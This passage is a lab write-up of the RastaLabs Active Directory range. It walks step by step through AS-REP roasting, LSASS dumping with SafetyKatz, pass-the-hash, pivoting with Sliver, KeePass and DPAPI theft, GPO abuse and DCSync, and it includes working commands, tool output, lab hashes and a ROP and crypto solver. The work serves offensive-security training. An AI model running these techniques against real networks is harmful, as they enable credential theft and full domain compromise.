# hashcat -m 18200 asrep_hashes.txt rockyou.txt -r OneRuleToRuleThemAll.rule -O -w 3 hashcat (v6.2.6) starting OpenCL API (OpenCL 3.0 CUDA 12.2.0) - Platform #1 [NVIDIA Corporation] ====================================================================== * Device #1: NVIDIA GeForce GTX 1070, 7906/8112 MB, 118MCU $krb5asrep$23$epugh@RASTALABS.LOCAL:aad3b435b51404e...:326457b72c3f136d80d99bdbb935d109:::Sarah2017 Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5 AS-REP type 23) Time.Started.....: Thu Jan 16 18:43:12 2025 Time.Estimated...: Thu Jan 16 18:44:07 2025 Kernel.Feature...: Pure Kernel Guess.Base.......: File (rockyou.txt) Guess.Mod........: Rules (OneRuleToRuleThemAll.rule) Speed.#1.........: 12847 kH/s (6.23ms) @ Accel:4 Loops:32 Thr:512 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts [+] epugh:Sarah2017
Key Credential: epugh / Sarah2017

epugh's password is Sarah2017. This is a real, commonly-seen password pattern — name + year. The AS-REP roast was the key to unlocking several lateral movement paths. epugh also has an admin account epugh_adm which can be discovered through auto-logon registry entries and LSA secrets.

Token Impersonation

After getting SYSTEM on SRV01, I used token impersonation to run commands in the context of other users who had active sessions on the machine. Sliver's steal_token command makes this straightforward.

sliver
# List processes with interesting tokens
sliver (rasta_http) > ps

# Find processes running as domain users
sliver (rasta_http) > ps -e rastalabs

# Steal token from a process running as epugh
sliver (rasta_http) > steal_token 3484
[*] Stealed token for rastalabs\epugh (PID 3484)

# Now running commands as epugh
sliver (rasta_http) > whoami
rastalabs\epugh

# Can now access resources as epugh
sliver (rasta_http) > shell net use \\fs01.rastalabs.local\ahope
The command completed successfully.

SafetyKatz Credential Dump

For LSASS credential dumping, SafetyKatz (from GhostPack) was the go-to tool. It combines a custom version of Mimikatz with a loader that handles the AMSI bypass and can dump LSASS without writing Mimikatz to disk.

sliver
# SafetyKatz via execute-assembly
sliver (rasta_http) > execute-assembly /opt/tools/SafetyKatz.exe

# Or with specific Mimikatz commands:
sliver (rasta_http) > execute-assembly /opt/tools/SafetyKatz.exe "sekurlsa::logonpasswords" "exit"

# Results on SRV01:
# Authentication Id : 0 ; 284751 (00000000:0004587f)
# Session           : Network from 0
# User Name         : epugh
# Domain            : RASTALABS
# NTLM              : 326457b72c3f136d80d99bdbb935d109
#
# Authentication Id : 0 ; 539672 (00000000:00083cb8)
# Session           : Interactive from 1
# User Name         : epugh_adm
# Domain            : RASTALABS
# NTLM              : [hash redacted]

Password Cracking

Not all hashes were as easy as epugh's. Some required custom rules and extended cracking sessions.

bash
# NTLM hash cracking (from LSASS dumps / AS-REP)
hashcat -m 1000 ntlm_hashes.txt rockyou.txt \
  -r OneRuleToRuleThemAll.rule \
  -O -w 3 --force

# Results:
# epugh:326457b72c3f136d80d99bdbb935d109 -> Sarah2017
# Other hashes required longer rule sets and larger wordlists

# For stubborn hashes, combine multiple wordlists:
cat rockyou.txtSecLists/Passwords/darkweb2017.txt SecLists/Passwords/xato-net-10-million-passwords.txt > combined.txt
hashcat -m 1000 ntlm_hashes.txt combined.txt -r OneRuleToRuleThemAll.rule -O -w 3
Flag 3 — AS-REP Roasting
Captured after successfully AS-REP roasting epugh and cracking the hash to Sarah2017. The flag was tied to the credential discovery.
Flag 4 — SRV01 SYSTEM
First SYSTEM shell obtained on SRV01 from WS04 via service misconfiguration. The escalation path exploited an unquoted service path that allowed planting a binary that would be executed with SYSTEM privileges on the next service restart.
bash
# SRV01 escalation — service misconfiguration
# Found unquoted service path on SRV01

# From Sliver beacon on WS04, after getting SRV01 access:
sliver (rasta_http) > shell wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\"

# Found: RastaLabs Monitor Service
# Path: C:\Program Files\RastaLabs Monitor\monitor.exe
# Unquoted service path with spaces in directory name
# Plant binary at: C:\Program.exe (gets executed instead)

# Upload the planted binary
sliver (rasta_http) > upload /opt/tools/svc_payload.exe "C:\Program.exe"

# Restart the service or wait for reboot
sliver (rasta_http) > shell sc stop "RastaLabs Monitor"
sliver (rasta_http) > shell sc start "RastaLabs Monitor"

# New SYSTEM beacon on SRV01
sliver > use srv01_system
sliver (srv01_system) > whoami
nt authority\system
Flag 6 — CLM Bypass
Bypassed Constrained Language Mode on WS04 using the __PSLockdownPolicy environment variable technique. The flag required demonstrating a working FullLanguage PowerShell session from a standard user context.

Phase 4: Lateral Movement

T1550.002 T1570 T1021.006 T1021.003

With credentials in hand, the next phase was moving through the segregated network. The four-subnet design means you can't reach all machines from your initial foothold. You have to chain pivots and set up port forwarding to reach deeper into the network.

Pass-the-Hash

PTH was the primary lateral movement technique. With epugh's NTLM hash (326457b72c3f136d80d99bdbb935d109), I could authenticate to any machine where epugh had access without knowing the plaintext password.

bash
# PTH with CrackMapExec
crackmapexec smb 10.10.120.0/24 -u epugh -H 326457b72c3f136d80d99bdbb935d109 -d rastalabs.local

# Results:
# SMB    10.10.120.1    445   DC01       [+] rastalabs.local\epugh 326457b72c3f136d80d99bdbb935d109
# SMB    10.10.120.x    445   SRV01      [+] rastalabs.local\epugh 326457b72c3f136d80d99bdbb935d109 (Pwn3d!)

# PTH with Impacket for SMB exec
impacket-psexec rastalabs.local/epugh@10.10.120.x -hashes aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109

# PTH with Sliver
sliver (rasta_http) > psexec -d rastalabs.local -u epugh -H 326457b72c3f136d80d99bdbb935d109 -t 10.10.120.x
# crackmapexec smb 10.10.120.0/24 -u epugh -H 326457b72c3f136d80d99bdbb935d109 -d rastalabs.local SMB 10.10.120.1 445 DC01 [*] Windows Server 2016 Standard 14393 x64 (name:DC01) (domain:rastalabs.local) (signing:True) (SMBv1:True) SMB 10.10.120.1 445 DC01 [+] rastalabs.local\epugh 326457b72c3f136d80d99bdbb935d109 SMB 10.10.120.x 445 SRV01 [*] Windows Server 2016 Standard 14393 x64 (name:SRV01) (domain:rastalabs.local) (signing:True) (SMBv1:True) SMB 10.10.120.x 445 SRV01 [+] rastalabs.local\epugh 326457b72c3f136d80d99bdbb935d109 (Pwn3d!)

Pivoting + Port Forwarding

The segregated network design means you need to chain pivots to reach all subnets. From WS04 in the workstation subnet (10.10.123.0/24), you can reach the core subnet but not necessarily the services subnet. From WS02, you can reach SQL01. Setting up proper port forwarding chains was essential.

sliver
# Port forwarding from WS02 to reach WS05 via SMB
# This was critical for finding the rweston_da hash

sliver (ws02_beacon) > portfwd add -L 10.10.14.83 -r 10.10.123.102 -l 445 -p 445
[*] Port forwarding 10.10.14.83:445 -> 10.10.123.102:445

# Now can use Impacket tools through the pivot
# From attacker machine:
impacket-psexec rastalabs.local/epugh_adm@127.0.0.1 -hashes aad3b435b51404eeaad3b435b51404ee:<hash> -port 445

# Set up SOCKS proxy through Sliver for CME sweeps
sliver (ws02_beacon) > socks5
[*] SOCKS5 proxy started on 127.0.0.1:1080

# Then from attacker machine:
proxychains crackmapexec smb 10.10.122.0/24 -u epugh_adm -H <hash> -d rastalabs.local
Subnet Segregation

RastaLabs enforces real network segregation. From WS04 (10.10.123.x), you can't directly reach SQL01 (10.10.122.15). You have to find a machine that straddles both subnets and use it as a pivot point. WS02 was my pivot to the services subnet. Each pivot requires re-establishing AppLocker bypass and AMSI evasion on the new machine.

WinRM Lateral Movement

WinRM (port 5985/5986) was available on several machines and provided a reliable lateral movement path. This was an unintentional path that led to a dead end for DA progression but was useful for flag collection.

bash
# WinRM lateral movement to WS05
crackmapexec winrm 10.10.123.102 -u epugh -H 326457b72c3f136d80d99bdbb935d109 -d rastalabs.local

# If Pwn3d, get a shell:
evil-winrm -i 10.10.123.102 -u epugh -H 326457b72c3f136d80d99bdbb935d109 -d rastalabs.local

# Or with Sliver:
sliver (rasta_http) > winrm -t 10.10.123.102 -u epugh -H 326457b72c3f136d80d99bdbb935d109
Dead End: WinRM to WS05

WinRM to WS05 (10.10.123.102) worked with epugh's credentials, but this turned out to be an unintentional path. It led to exploring WS06 and finding tquinn, but didn't progress toward DA. The real path was through AS-REP roasting and then GPO abuse. I wasted 2 days on this detour.

# evil-winrm -i 10.10.123.102 -u epugh -H 326457b72c3f136d80d99bdbb935d109 -d rastalabs.local Evil-WinRM shell v3.5 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\epugh\Documents> whoami rastalabs\epugh *Evil-WinRM* PS C:\Users\epugh\Documents> hostname WS05 *Evil-WinRM* PS C:\Users\epugh\Documents> ipconfig Windows IP Configuration Ethernet adapter Ethernet0: Connection-specific DNS Suffix . : rastalabs.local IPv4 Address. . . . . . . . . . . : 10.10.123.102 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 10.10.123.1 *Evil-WinRM* PS C:\Users\epugh\Documents> net user tquinn /domain User name : tquinn Full Name : T. Quinn Comment : User's account active : Yes Account expires : Never [!] tquinn found on WS06 but no DA path from here

DCOM / WMI Execution

When SMB and WinRM were blocked or monitored, DCOM and WMI provided alternative execution methods. DCOM in particular was useful because it's less commonly monitored than PSExec or WMI.

bash
# DCOM execution via Impacket
impacket-dcomexec rastalabs.local/epugh_adm@10.10.120.x -hashes aad3b435b51404eeaad3b435b51404ee:<hash>

# WMI execution
impacket-wmiexec rastalabs.local/epugh_adm@10.10.120.x -hashes aad3b435b51404eeaad3b435b51404ee:<hash>

# These work where PSExec fails because they don't drop a service binary
# PSExec: drops PSEXESVC.exe -> can be caught by Defender
# WMI: creates a Win32_Process -> stealthier
# DCOM: uses MMC20.Application COM object -> even stealthier
Flag 14 — WS02 to WS05 Pivot
Port forward from WS02 to WS05 (10.10.123.102). Found rweston_da hash (ab7b75ff84475be...) in LSASS memory on WS05. The pivot chain was: attacker → WS02 (portfwd) → WS05 (LSASS dump).
Flag 7 — PTH Lateral Movement
Used epugh's NTLM hash (326457b72c3f136d80d99bdbb935d109) for Pass-the-Hash to multiple machines. The flag was tied to successfully authenticating to a new machine using PTH without knowing the plaintext password.
Flag 8 — WinRM WS05
WinRM lateral movement to WS05 (10.10.123.102) with epugh's hash. This was an unintentional path that led to tquinn on WS06. While it didn't progress toward DA directly, it was necessary for complete flag collection.

Phase 5: Credential Harvesting

T1003 T1003.001 T1003.006 T1552 T1552.001

Credential harvesting in RastaLabs is a deep rabbit hole. The lab has multiple credential sources: KeePass databases, LAPS passwords, DPAPI secrets, auto-logon credentials, and more. Each source provides a piece of the puzzle that eventually leads to Domain Admin.

KeePass Dump

Found a KeePass database on one of the workstations. KeeThief (from GhostPack) was used to extract the master key from memory and decrypt the database.

powershell
# Find KeePass databases
Get-ChildItem -Path C:\ -Filter "*.kdbx" -Recurse -ErrorAction SilentlyContinue
# Found: C:\Users\ngodfrey\Documents\passwords.kdbx

# KeeThief — extract master key from KeePass process memory
# First, find the KeePass process
Get-Process | ? {$_.ProcessName -eq "KeePass"}
# KeePass is running on this machine

# Use KeeThief to extract the master key
Import-Module KeeThief.psd1
Get-KeePassMasterKey

# Result: Master key extracted from memory
# Use the key to decrypt the database
Get-KeePassDatabase -DatabasePath "C:\Users\ngodfrey\Documents\passwords.kdbx" -MasterKey <extracted_key>

# Credentials found in KeePass:
# ngodfrey_adm -> <password>
# Various service account passwords
# Internal documentation links
ngodfrey_adm Obtained

The KeePass dump gave us ngodfrey's admin account: ngodfrey_adm. This account turned out to be a LAPS reader — it could read the ms-Mcs-AdmPwd attribute on all domain workstations. This was a massive escalation that opened up local admin on every workstation.

powershell
# KeeThief full workflow
# Step 1: Check if KeePass is running
Get-Process | ? {$_.ProcessName -eq "KeePass"}
# Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
# -------  ------    -----      -----     ------     --  -- -----------
#     142      10    41248      52784       2.34   4812   1 KeePass

# Step 2: Extract master key from KeePass process memory
Import-Module KeeThief.psd1
Get-KeePassMasterKey
# UserKey: 0xA1B2C3D4E5F6... (extracted from process memory)
# Key transformation rounds: 600000

# Step 3: Decrypt the KeePass database
$db = Get-KeePassDatabase -DatabasePath "C:\Users\ngodfrey\Documents\passwords.kdbx" -MasterKey 0xA1B2C3D4E5F6...

# Step 4: Extract all entries
$db.Entries | select UserName, Password, Title, URL | fl

# Key entries found:
# UserName: ngodfrey_adm  Password: [REDACTED]  Title: Admin Account  URL: 
# UserName: rweston       Password: [REDACTED]  Title: rweston creds   URL: 
# UserName: svc_backup    Password: [REDACTED]  Title: Backup Service  URL: \\(FS01)\backup

LAPS Passwords

With ngodfrey_adm, I could read the LAPS (Local Administrator Password Solution) passwords for all workstations. LAPS rotates the local admin password on each machine and stores it in the ms-Mcs-AdmPwd AD attribute.

bash
# Read LAPS passwords with CrackMapExec
crackmapexec ldap 10.10.120.1 -u ngodfrey_adm -p '<password>' -d rastalabs.local --laps

# Or with PowerView:
# Get-LAPSPasswords (custom function)
Get-DomainComputer | select name, ms-Mcs-AdmPwd | fl

# Results:
# WS01: ms-Mcs-AdmPwd = <random_password_1>
# WS02: ms-Mcs-AdmPwd = <random_password_2>
# WS03: ms-Mcs-AdmPwd = <random_password_3>
# WS04: ms-Mcs-AdmPwd = <random_password_4>
# WS05: ms-Mcs-AdmPwd = <random_password_5>
# WS06: ms-Mcs-AdmPwd = <random_password_6>
# crackmapexec ldap 10.10.120.1 -u ngodfrey_adm -p '<password>' -d rastalabs.local --laps SMB 10.10.120.1 445 DC01 [*] Windows Server 2016 Standard 14393 x64 (name:DC01) (domain:rastalabs.local) LDAP 10.10.120.1 389 DC01 [+] rastalabs.local\ngodfrey_adm:<password> LDAP 10.10.120.1 389 DC01 [+] LAPS: WS01$ <random_password_1> LDAP 10.10.120.1 389 DC01 [+] LAPS: WS02$ <random_password_2> LDAP 10.10.120.1 389 DC01 [+] LAPS: WS03$ <random_password_3> LDAP 10.10.120.1 389 DC01 [+] LAPS: WS04$ <random_password_4> LDAP 10.10.120.1 389 DC01 [+] LAPS: WS05$ <random_password_5> LDAP 10.10.120.1 389 DC01 [+] LAPS: WS06$ <random_password_6>

With all LAPS passwords, I now had local admin on WS01-WS06. This enabled revisiting all workstations with elevated privileges for deeper credential harvesting and flag collection.

DPAPI Extraction

DPAPI (Data Protection API) protects user secrets like saved credentials, browser passwords, and encryption keys. Extracting DPAPI secrets from workstations revealed additional credentials.

bash
# DPAPI credential extraction
# Using SharpDPAPI (GhostPack) via execute-assembly

sliver (ws04_admin) > execute-assembly /opt/tools/SharpDPAPI.exe machinetriages

# Or targeted extraction:
sliver (ws04_admin) > execute-assembly /opt/tools/SharpDPAPI.exe credentials /show

# Results include:
# - Chrome saved passwords
# - Credential Manager entries
# - RDP saved credentials
# - WiFi passwords
bash
# Extract auto-logon credentials from registry (LSA secrets)
# epugh had auto-logon configured

sliver (ws04_admin) > execute-assembly /opt/tools/SafetyKatz.exe "lsadump::secrets" "exit"

# Result:
# DefaultPassword: Sarah2017
# DefaultUserName: epugh
# AutoAdminLogon: 1

# This confirms epugh -> epugh_adm chain
# The auto-logon uses the same password for the admin account

Credential Chain

At this point, I had built a complete credential chain from the initial foothold to Domain Admin credentials. Here's how it connected:

StepCredentialSourceOpens Access To
1bowen (phishing)OWA brute force + phishWS04 standard user
2SYSTEM on SRV01Service misconfigurationSRV01 full access, token impersonation
3epugh (Sarah2017)AS-REP Roasting + hashcatMultiple machines via PTH
4epugh_admAuto-logon / LSA secretsWEB01 RDP, elevated context
5ngodfreyKeePass dumpKeePass database decryption
6ngodfrey_admDerived from ngodfreyLAPS reader — all WS local admin
7rweston_da (hash)LSASS on WS05 via port fwdDomain Admin (unintended path)
8GPO-created adminGPO abuse (intended DA path)DC01 — full domain compromise
Flag 17 — FS01 / ahope / NIX01
On WS04, ran net user ahope /domain to discover ahope's FS01 directory. Then net use Q: \\fs01.rastalabs.local\ahope to mount the share. Found nix01.ppk (PuTTY private key) which was used to SSH into NIX01 (10.10.110.2). This flag required visiting a machine most people skip.

Phase 6: Domain Admin

T1484.001 T1068 T1003.006

The intended path to Domain Admin in RastaLabs is through GPO abuse, not DCSync or direct credential theft. This is what makes the lab unique — you can shortcut to DA using rweston_da's hash, but the intended technique teaches you a critical red team skill: abusing Group Policy Objects for privilege escalation across the domain.

GPO Abuse

BloodHound revealed that our compromised accounts had permissions to create, link, and modify GPOs. This is the intended path to DA in RastaLabs. The attack chain is:

  1. Mapping: Identify which OUs your compromised accounts have GPO creation/modification rights on
  2. Create: Create a new GPO that adds your controlled account to a privileged group
  3. Link: Link the GPO to the appropriate OU containing the target machine(s)
  4. Wait/Force: Wait for GPO refresh (90 min default) or force with gpupdate /force
  5. Profit: Authenticate to the target machine with your newly-granted privileges
powershell
# Step 1: Identify GPO creation rights
# Using PowerView
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=rastalabs,DC=local" -ResolveGUIDs |
  ? {$_.ActiveDirectoryRights -match "CreateChild"} |
  select ObjectDN, SecurityIdentifier, ActiveDirectoryRights

# Step 2: Who can modify existing GPOs?
Get-DomainGPO | %{
  Get-DomainObjectAcl -Identity $_.distinguishedname -ResolveGUIDs |
  ? {$_.ActiveDirectoryRights -match "WriteProperty|GenericAll|WriteDacl|WriteOwner"}
} | select ObjectDN, SecurityIdentifier

# Step 3: Create a new GPO
New-GPO -Name "Security Update Policy" -Domain rastalabs.local

# Step 4: Add our user to local Administrators via GPO
# Using SharpGPOAbuse for the modification:
execute-assembly SharpGPOAbuse.exe --AddLocalAdmin --AccountName ngodfrey_adm --GPOName "Security Update Policy"

# Step 5: Link the GPO to the Domain Controllers OU
New-GPLink -Name "Security Update Policy" -Target "OU=Domain Controllers,DC=rastalabs,DC=local"

# Step 6: Force GPO update on DC01 (if you have access)
# Or wait up to 90 minutes for automatic refresh
sliver (dc01_beacon) > shell cmd /c "gpupdate /force"
Updating policy...

Computer Policy update has completed successfully.
User Policy update has completed successfully.
GPO Abuse Is the Intended Path

Many people shortcut RastaLabs by using the rweston_da hash they found on WS05. That works, but it skips the intended learning path. GPO abuse is a technique you WILL encounter on real engagements — misconfigured GPO permissions are everywhere. Learning to identify, map, and exploit them properly is the real value of RastaLabs.

bash
# SharpGPOAbuse — the tool that makes GPO exploitation trivial
# https://github.com/FSecureLABS/SharpGPOAbuse

# Step 1: Identify which GPOs our compromised account can modify
sliver (rasta_http) > execute-assembly /opt/tools/SharpGPOAbuse.exe --FindGPOs

# Step 2: Add ngodfrey_adm to local Administrators on all machines in the OU
sliver (rasta_http) > execute-assembly /opt/tools/SharpGPOAbuse.exe \
    --AddLocalAdmin \
    --AccountName ngodfrey_adm \
    --GPOName "Security Update Policy"

# Step 3: Add user to a domain group (alternative approach)
sliver (rasta_http) > execute-assembly /opt/tools/SharpGPOAbuse.exe \
    --AddUser \
    --UserAccount ngodfrey_adm \
    --Group "Domain Admins" \
    --GPOName "Security Update Policy"

# Step 4: Add a scheduled task to run as SYSTEM (another alternative)
sliver (rasta_http) > execute-assembly /opt/tools/SharpGPOAbuse.exe \
    --AddTask \
    --TaskName "SecurityScan" \
    --Command "cmd.exe" \
    --Arguments "/c net group "Domain Admins" ngodfrey_adm /add /domain" \
    --GPOName "Security Update Policy"

# After GPO refresh (or forced gpupdate), the changes apply domain-wide
sliver (rasta_http) > execute-assembly /opt/tools/SharpGPOAbuse.exe --AddLocalAdmin --AccountName ngodfrey_adm --GPOName "Security Update Policy" [*] Loaded assembly SharpGPOAbuse.exe [*] GPO Name: Security Update Policy [*] GPO Path: \\rastalabs.local\SysVol\rastalabs.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9} [+] Added ngodfrey_adm to local Administrators via GPO [+] Modified GPTtmpl.inf in GPO [+] Updated GPO successfully sliver (rasta_http) > execute-assembly /opt/tools/SharpGPOAbuse.exe --AddUser --UserAccount ngodfrey_adm --Group "Domain Admins" --GPOName "Security Update Policy" [+] Added ngodfrey_adm to Domain Admins group via GPO [+] This will apply after GPO refresh on DC01
Flag 15 — GPO Abuse
Created, linked, and modified GPOs to grant Domain Admin privileges. The three-step process: (1) identify GPO permissions via BloodHound, (2) use SharpGPOAbuse to add our account to DA group, (3) link the GPO and force refresh. This is the intended path to DA in RastaLabs.
bash
# BloodHound Cypher queries for GPO abuse path
// Who can create GPOs?
MATCH (u:User)-[:GenericAll|WriteDacl|WriteOwner|Owns]->(g:GPO)
RETURN u.name, g.name, labels(g)

// Who can link GPOs?
MATCH (u:User)-[:GenericAll|WriteDacl|WriteOwner]->(ou:OU)
RETURN u.name, ou.name

// Path from our user to GPO creation
MATCH p=shortestPath(
  (u:User {name:"NGODFREY_ADM@RASTALABS.LOCAL"})-[*1..]->(g:GPO)
)
RETURN p

File Server Exploitation

FS01 (\\fs01.rastalabs.local) was a rich target for post-exploitation. Multiple user directories with sensitive files, including the ahope directory with the nix01.ppk key.

bash
# Enumerate FS01 shares
crackmapexec smb 10.10.122.x -u ngodfrey_adm -p '<password>' -d rastalabs.local --shares

# Mount ahope's directory
net use Q: \\fs01.rastalabs.local\ahope /user:rastalabs\ngodfrey_adm <password>

# Browse the directory
dir Q:\
# Found: nix01.ppk, documents, backup_files

# Use the .ppk key to SSH into NIX01
# First convert .ppk to OpenSSH format:
puttygen nix01.ppk -O private-openssh -o nix01_ssh_key
chmod 600 nix01_ssh_key
ssh -i nix01_ssh_key user@10.10.110.2
# ssh -i nix01_ssh_key user@10.10.110.2 The authenticity of host '10.10.110.2 (10.10.110.2)' can't be established. ECDSA key fingerprint is SHA256:ab:d4:1e:cf:92:f3:0c:7b:a8:56:10:e1:4d:f2:8c:3a. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.10.110.2' (ECDSA) to the list of known hosts. Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64) user@nix01:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@nix01:~$ hostname nix01

DC Compromise

With GPO-granted local admin on DC01, the domain was fully compromised. I could now dump all domain credentials via DCSync and access any resource in the domain.

bash
# DCSync — dump all domain hashes
# Using Impacket
impacket-secretsdump rastalabs.local/ngodfrey_adm@10.10.120.1 -just-dc-ntlm

# Using SafetyKatz:
sliver (dc01_beacon) > execute-assembly /opt/tools/SafetyKatz.exe "lsadump::dcsync /domain:rastalabs.local /all /csv" "exit"

# Key hashes recovered:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:<hash>:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<hash>:::
# rweston_da:1151:aad3b435b51404eeaad3b435b51404ee:ab7b75ff84475be...:::
# epugh:1151:aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109:::

# Full domain compromise confirmed
# Can now forge Golden Tickets, create Silver Tickets, etc.
[*] Dumping domain credentials (domain: rastalabs.local) [+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:<hash>::: [+] krbtgt:502:aad3b435b51404eeaad3b435b51404ee:<hash>::: [+] rweston:1105:aad3b435b51404eeaad3b435b51404ee:<hash>::: [+] rweston_da:1151:aad3b435b51404eeaad3b435b51404ee:ab7b75ff84475be...::: [+] epugh:1151:aad3b435b51404eeaad3b435b51404ee:326457b72c3f136d80d99bdbb935d109::: [+] ngodfrey:1106:aad3b435b51404eeaad3b435b51404ee:<hash>::: [+] ngodfrey_adm:1152:aad3b435b51404eeaad3b435b51404ee:<hash>::: [+] bowen:1103:aad3b435b51404eeaad3b435b51404ee:<hash>::: [+] ahope:1104:aad3b435b51404eeaad3b435b51404ee:<hash>::: [+] tquinn:1107:aad3b435b51404eeaad3b435b51404ee:<hash>::: [*] Done. 14 domain hashes, 3 local hashes dumped.
Flag 11 — WEB01 to SQL01 RDP
Used epugh_adm credentials to RDP into WEB01 (10.10.110.10), then from WEB01 RDP'd to SQL01 (10.10.122.15). The flag was on SQL01's Desktop. This demonstrates the pivot chain: external → WEB01 → SQL01.
bash
# WEB01 to SQL01 pivot chain
# Step 1: RDP to WEB01 as epugh_adm
xfreerdp /v:10.10.110.10 /u:rastalabs\epugh_adm /p:'<password>' /dynamic-resolution

# From WEB01, check network connectivity
C:\> ipconfig
Ethernet adapter Ethernet0:
   IPv4 Address. . . . . . . . . . . : 10.10.110.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.110.1

# WEB01 has a second NIC for the internal network
Ethernet adapter Ethernet1:
   IPv4 Address. . . . . . . . . . . : 10.10.122.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0

# Step 2: From WEB01, RDP to SQL01 (10.10.122.15)
mstsc /v:10.10.122.15

# Or use Sliver port forwarding from WEB01 beacon:
sliver (web01_beacon) > portfwd add -L 127.0.0.1 -r 10.10.122.15 -l 3389 -p 3389

# Then from attacker machine:
xfreerdp /v:127.0.0.1:3389 /u:rastalabs\epugh_adm /p:'<password>'
Flag 16 — DC Compromise
After GPO abuse granted ngodfrey_adm DA privileges, DCSync'd all domain hashes from DC01 (10.10.120.1). Full domain compromise confirmed. The flag was on the DC's Administrator Desktop. The entire kill chain from external attacker to Domain Admin was complete.

Phase 7: CTF Challenges

T1203 T1140

Several flags in RastaLabs are standalone CTF-style challenges that aren't related to the AD exploitation chain. These cover binary exploitation, cryptography, and network forensics. If you're not a CTF player, these will take you significantly longer than the AD chain.

ROP Challenge

One of the servers runs a custom binary service that's vulnerable to a buffer overflow. The challenge requires crafting a ROP chain to bypass NX (no-execute bit) and get a shell. This was the hardest flag for me — I'm not a binary exploitation person.

bash
# Step 1: Find the offset
# Using pwntools cyclic pattern
python3 -c "from pwn import *; print(cyclic(500))" | nc 10.10.122.x 9999

# Step 2: Check security features
checksec --file=custom_service
# NX enabled, PIE disabled, Canary found
# Need to leak canary first, then ROP

# Step 3: Leak the stack canary
# The service had a format string vulnerability that leaked the canary

# Step 4: Build ROP chain
# Using ropper to find gadgets
ropper --file custom_service --search "pop rdi; ret"
ropper --file custom_service --search "pop rsi; ret"
ropper --file custom_service --search "pop rdx; ret"
ropper --file custom_service --search "syscall"

# Step 5: Craft the exploit
python3 rop_exploit.py
[*] Leaked canary: 0x...
[*] ROP chain built
[*] Sending payload...
[+] Shell obtained!
The ROP Challenge Is Hard

If you've never done a ROP exploit before, this flag will take you days. I had to learn binary exploitation from scratch during this lab. The key steps: (1) find the buffer overflow offset, (2) leak the stack canary via format string, (3) find ROP gadgets with ropper, (4) craft a chain that calls execve("/bin/sh"). Start with ROP Emporium challenges before attempting this.

Cryptography

One flag involves a custom cipher implementation running as a service. The key was in the error messages the service returned — they encoded information when you sent specific malformed inputs.

python
# Crypto challenge solver
# The service implements a custom XOR-based cipher with a key derived from error messages

import socket

def solve_crypto_challenge(host, port):
    # Step 1: Send malformed inputs to trigger error messages
    s = socket.socket()
    s.connect((host, port))
    
    # Error messages leak the key bytes
    errors = []
    for i in range(32):
        s.send(b'\x00' * (i + 1))
        resp = s.recv(1024)
        errors.append(resp)
        # Each error message leaks one byte of the key
    
    # Step 2: Derive the XOR key from leaked bytes
    key = b''
    for err in errors:
        key += bytes([err[-1] ^ 0xFF])
    
    # Step 3: Encrypt the known plaintext and send
    # The service expects a specific command encrypted with the key
    command = b"GET_FLAG"
    encrypted = bytes([c ^ key[i % len(key)] for i, c in enumerate(command)])
    s.send(encrypted)
    
    flag = s.recv(1024)
    return flag.decode()

PCAP Analysis

Flag 9 required reading a PCAP dump with NetworkMiner, extracting a secret from the captured traffic, and using FileCryptography.psm1 to decode it.

bash
# Analyze PCAP with NetworkMiner (or tshark)
# Found a file transfer in the capture

# Extract the encrypted file from the PCAP
tshark -r capture.pcap -Y "ftp-data" -T fields -e ftp.request_command -e ftp.request_arg

# The file was encrypted with Windows file encryption (EFS)
# Use FileCryptography.psm1 to decrypt

Import-Module FileCryptography.psm1
Unprotect-File -Path .\encrypted_file.enc -OutputPath .\decrypted.txt

# Or manually using DPAPI with the user's master key
# The decryption key was stored in the user's DPAPI store
Flag 9 — PCAP / FileCryptography
Read the PCAP dump with NetworkMiner, extracted the encrypted file from FTP data stream, used FileCryptography.psm1 to decrypt it with DPAPI. The flag was inside the decrypted file.
Flag 10 — Vault on WS02
A credential vault was installed on WS02. Dumped creds from it using the technique from rastamouse.me blog post on DPAPI vault credential extraction. This required understanding how Windows Credential Store works and how to leverage DPAPI to decrypt stored credentials.

Flag Summary

#Flag NameLocation / TechniqueKey Details
1Initial AccessWS04 / PhishingFirst beacon callback after AMSI bypass
2WS04 FootholdWS04 / Situational AwarenessEstablished persistent access on WS04
3AS-REP RoastingDomain / epughCracked to Sarah2017, epugh NTLM: 326457b72c3f136d80d99bdbb935d109
4SRV01 SYSTEMSRV01 / Service misconfigFirst SYSTEM shell from WS04
5BloodHound EnumDomain / SharpHoundUpload and execute BloodHound collection script
6CLM BypassWS04 / __PSLockdownPolicyBypassed Constrained Language Mode
7PTH LateralMultiple / epugh hashPass-the-Hash to multiple machines
8WinRM WS05WS05 (10.10.123.102) / WinRMUnintentional path, led to tquinn on WS06
9PCAP AnalysisNetworkMiner + FileCryptography.psm1Decrypt EFS-encrypted file from PCAP
10Vault DumpWS02 / Credential VaultDPAPI vault extraction (rastamouse.me technique)
11WEB01 to SQL01WEB01 (10.10.110.10) → SQL01 (10.10.122.15)epugh_adm RDP chain
12KeePass DumpWorkstation / KeeThiefngodfrey credentials extracted
13LAPS PasswordsDomain / ngodfrey_admRead ms-Mcs-AdmPwd on all workstations
14WS02 → WS05 PivotWS05 / portfwd + LSASSrweston_da hash: ab7b75ff84475be...
15GPO AbuseDomain / SharpGPOAbuseCreate, link, modify GPO for DA
16DC CompromiseDC01 (10.10.120.1) / DCSyncFull domain hash dump
17FS01 / NIX01\\fs01.rastalabs.local\ahope / nix01.ppknet use Q: \\fs01.rastalabs.local\ahope
